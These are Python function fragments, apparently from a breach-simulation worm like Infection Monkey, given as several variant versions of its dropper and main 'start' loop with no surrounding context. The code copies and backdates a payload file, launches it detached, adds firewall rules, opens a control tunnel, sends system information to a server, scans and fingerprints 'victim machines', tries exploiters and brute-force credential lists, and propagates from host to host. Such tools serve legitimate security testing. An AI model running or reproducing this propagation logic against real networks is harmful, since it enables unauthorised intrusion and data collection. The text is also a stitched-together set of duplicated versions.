def collect_system_info_if_configured(self): logger.debug("Calling for system info collection") try: system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() except Exception as e: logger.exception(f"Exception encountered during system info collection: {str(e)}")
def start(self): if self._config['destination_path'] is None: LOG.error("No destination path specified") return False # we copy/move only in case path is different try: file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) except OSError: file_moved = False if not file_moved and os.path.exists(self._config['destination_path']): os.remove(self._config['destination_path']) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: shutil.move(self._config['source_path'], self._config['destination_path']) LOG.info("Moved source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) file_moved = True except (WindowsError, IOError, OSError) as exc: LOG.debug("Error moving source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) # if file still need to change path, copy it if not file_moved: try: shutil.copy(self._config['source_path'], self._config['destination_path']) LOG.info("Copied source file '%s' into '%s'", self._config['source_path'], self._config['destination_path']) except (WindowsError, IOError, OSError) as exc: LOG.error("Error copying source file '%s' into '%s': %s", self._config['source_path'], self._config['destination_path'], exc) return False if WormConfiguration.dropper_set_date: if sys.platform == 'win32': dropper_date_reference_path = os.path.expandvars( WormConfiguration.dropper_date_reference_path_windows) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) except OSError: LOG.warning( "Cannot set reference date using '%s', file not found", dropper_date_reference_path) else: try: os.utime(self._config['destination_path'], (ref_stat.st_atime, ref_stat.st_mtime)) except OSError: LOG.warning( "Cannot set reference date to destination file") monkey_options = \ build_monkey_commandline_explicitly(parent=self.opts.parent, tunnel=self.opts.tunnel, server=self.opts.server, depth=self.opts.depth, location=None, vulnerable_port=self.opts.vulnerable_port) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { 'monkey_path': self._config['destination_path'] } + monkey_options else: dest_path = self._config['destination_path'] # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually # runs the monkey inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % { 'monkey_filename': dest_path.split("/")[-1] } + monkey_options monkey_cmdline = GENERAL_CMDLINE_LINUX % { 'monkey_directory': dest_path[0:dest_path.rfind("/")], 'monkey_commandline': inner_monkey_cmdline } monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) LOG.info("Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, monkey_cmdline) time.sleep(3) if monkey_process.poll() is not None: LOG.warning("Seems like monkey died too soon")
def collect_system_info_if_configured(self): LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send()
def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return # Create a dir for monkey files if there isn't one utils.create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) for action_class in WormConfiguration.post_breach_actions: action = action_class() action.act() PostBreach().execute() if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry('scan', { 'machine': machine.as_dict(), }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) # Order exploits according to their type self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def start(self): LOG.info("Monkey is running...") if not ControlClient.find_server(default_tunnel=self._default_tunnel): LOG.info("Monkey couldn't find server. Going down.") return if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() ControlClient.send_telemetry("state", {'done': False}) self._default_server = WormConfiguration.current_server LOG.debug("default server: %s" % self._default_server) ControlClient.send_telemetry( "tunnel", {'proxy': ControlClient.proxies.get('https')}) if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down") return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list)) LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list)) self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( WormConfiguration.scanner_class, max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ControlClient.send_telemetry( 'scan', { 'machine': machine.as_dict(), 'scanner': WormConfiguration.scanner_class.__name__ }) # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) machine.set_default_server(self._default_server) successful_exploiter = None for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if not exploiter.is_os_supported(): LOG.info( "Skipping exploiter %s host:%r, os is not supported", exploiter.__class__.__name__, machine) continue LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) result = False try: result = exploiter.exploit_host() if result: successful_exploiter = exploiter break else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except Exception as exc: LOG.exception( "Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) finally: exploiter.send_exploit_telemetry(result) if successful_exploiter: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", machine, successful_exploiter.__class__.__name__) # check if max-exploitation limit is reached if WormConfiguration.victims_max_exploit <= len( self._exploited_machines): self._keep_running = False LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit) break else: self._fail_exploitation_machines.add(machine) if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()
def start(self): if self._config["destination_path"] is None: LOG.error("No destination path specified") return False # we copy/move only in case path is different try: file_moved = filecmp.cmp(self._config["source_path"], self._config["destination_path"]) except OSError: file_moved = False if not file_moved and os.path.exists(self._config["destination_path"]): os.remove(self._config["destination_path"]) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: shutil.move(self._config["source_path"], self._config["destination_path"]) LOG.info( "Moved source file '%s' into '%s'", self._config["source_path"], self._config["destination_path"], ) file_moved = True except (WindowsError, IOError, OSError) as exc: LOG.debug( "Error moving source file '%s' into '%s': %s", self._config["source_path"], self._config["destination_path"], exc, ) # if file still need to change path, copy it if not file_moved: try: shutil.copy(self._config["source_path"], self._config["destination_path"]) LOG.info( "Copied source file '%s' into '%s'", self._config["source_path"], self._config["destination_path"], ) except (WindowsError, IOError, OSError) as exc: LOG.error( "Error copying source file '%s' into '%s': %s", self._config["source_path"], self._config["destination_path"], exc, ) return False if WormConfiguration.dropper_set_date: if sys.platform == "win32": dropper_date_reference_path = os.path.expandvars( WormConfiguration.dropper_date_reference_path_windows) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) except OSError: LOG.warning( "Cannot set reference date using '%s', file not found", dropper_date_reference_path, ) else: try: os.utime(self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime)) except OSError: LOG.warning( "Cannot set reference date to destination file") monkey_options = build_monkey_commandline_explicitly( parent=self.opts.parent, tunnel=self.opts.tunnel, server=self.opts.server, depth=self.opts.depth, location=None, vulnerable_port=self.opts.vulnerable_port, ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_commandline = get_monkey_commandline_windows( self._config["destination_path"], monkey_options) monkey_process = subprocess.Popen( monkey_commandline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, creationflags=DETACHED_PROCESS, ) else: dest_path = self._config["destination_path"] # In Linux, we need to change the directory first, which is done # using thw `cwd` argument in `subprocess.Popen` below monkey_commandline = get_monkey_commandline_linux( dest_path, monkey_options) monkey_process = subprocess.Popen( monkey_commandline, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=True, cwd="/".join(dest_path.split("/")[0:-1]), creationflags=DETACHED_PROCESS, ) LOG.info( "Executed monkey process (PID=%d) with command line: %s", monkey_process.pid, " ".join(monkey_commandline), ) time.sleep(3) if monkey_process.poll() is not None: LOG.warning("Seems like monkey died too soon")
def start(self): LOG.info("Monkey is running...") # Sets island's IP and port for monkey to communicate to if not self.set_default_server(): return self.set_default_port() # Create a dir for monkey files if there isn't one create_monkey_dir() if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if is_windows_os(): T1106Telem(ScanStatus.USED, UsageEnum.SINGLETON_WINAPI).send() if not WormConfiguration.alive: LOG.info("Marked not alive from configuration") return if firewall.is_enabled(): firewall.add_firewall_rule() monkey_tunnel = ControlClient.create_control_tunnel() if monkey_tunnel: monkey_tunnel.start() StateTelem(is_done=False).send() TunnelTelem().send() if WormConfiguration.collect_system_info: LOG.debug("Calling system info collection") system_info_collector = SystemInfoCollector() system_info = system_info_collector.get_info() SystemInfoTelem(system_info).send() # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: TraceTelem("Reached max depth, shutting down").send() return else: LOG.debug("Running with depth: %d" % WormConfiguration.depth) for iteration_index in xrange(WormConfiguration.max_iterations): ControlClient.keepalive() ControlClient.load_control_config() self._network.initialize() self._exploiters = WormConfiguration.exploiter_classes self._fingerprint = [ fingerprint() for fingerprint in WormConfiguration.finger_classes ] if not self._keep_running or not WormConfiguration.alive: break machines = self._network.get_victim_machines( max_find=WormConfiguration.victims_max_find, stop_callback=ControlClient.check_for_stop) is_empty = True for machine in machines: if ControlClient.check_for_stop(): break is_empty = False for finger in self._fingerprint: LOG.info( "Trying to get OS fingerprint from %r with module %s", machine, finger.__class__.__name__) finger.get_host_fingerprint(machine) ScanTelem(machine).send() # skip machines that we've already exploited if machine in self._exploited_machines: LOG.debug("Skipping %r - already exploited", machine) continue elif machine in self._fail_exploitation_machines: if WormConfiguration.retry_failed_explotation: LOG.debug( "%r - exploitation failed before, trying again", machine) else: LOG.debug("Skipping %r - exploitation failed before", machine) continue if monkey_tunnel: monkey_tunnel.set_tunnel_for_host(machine) if self._default_server: if self._network.on_island(self._default_server): machine.set_default_server( get_interface_to_target(machine.ip_addr) + (':' + self._default_server_port if self. _default_server_port else '')) else: machine.set_default_server(self._default_server) LOG.debug("Default server for machine: %r set to %s" % (machine, machine.default_server)) # Order exploits according to their type if WormConfiguration.should_exploit: self._exploiters = sorted( self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value) host_exploited = False for exploiter in [ exploiter(machine) for exploiter in self._exploiters ]: if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) VictimHostTelem('T1210', ScanStatus.SCANNED, machine=machine).send() if not self._keep_running: break if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): time_to_sleep = WormConfiguration.timeout_between_iterations LOG.info( "Sleeping %d seconds before next life cycle iteration", time_to_sleep) time.sleep(time_to_sleep) if self._keep_running and WormConfiguration.alive: LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations) elif not WormConfiguration.alive: LOG.info("Marked not alive from configuration") # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to # connect to the tunnel if len(self._exploited_machines) > 0: time_to_sleep = WormConfiguration.keep_tunnel_open_time LOG.info( "Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep) time.sleep(time_to_sleep) if monkey_tunnel: monkey_tunnel.stop() monkey_tunnel.join()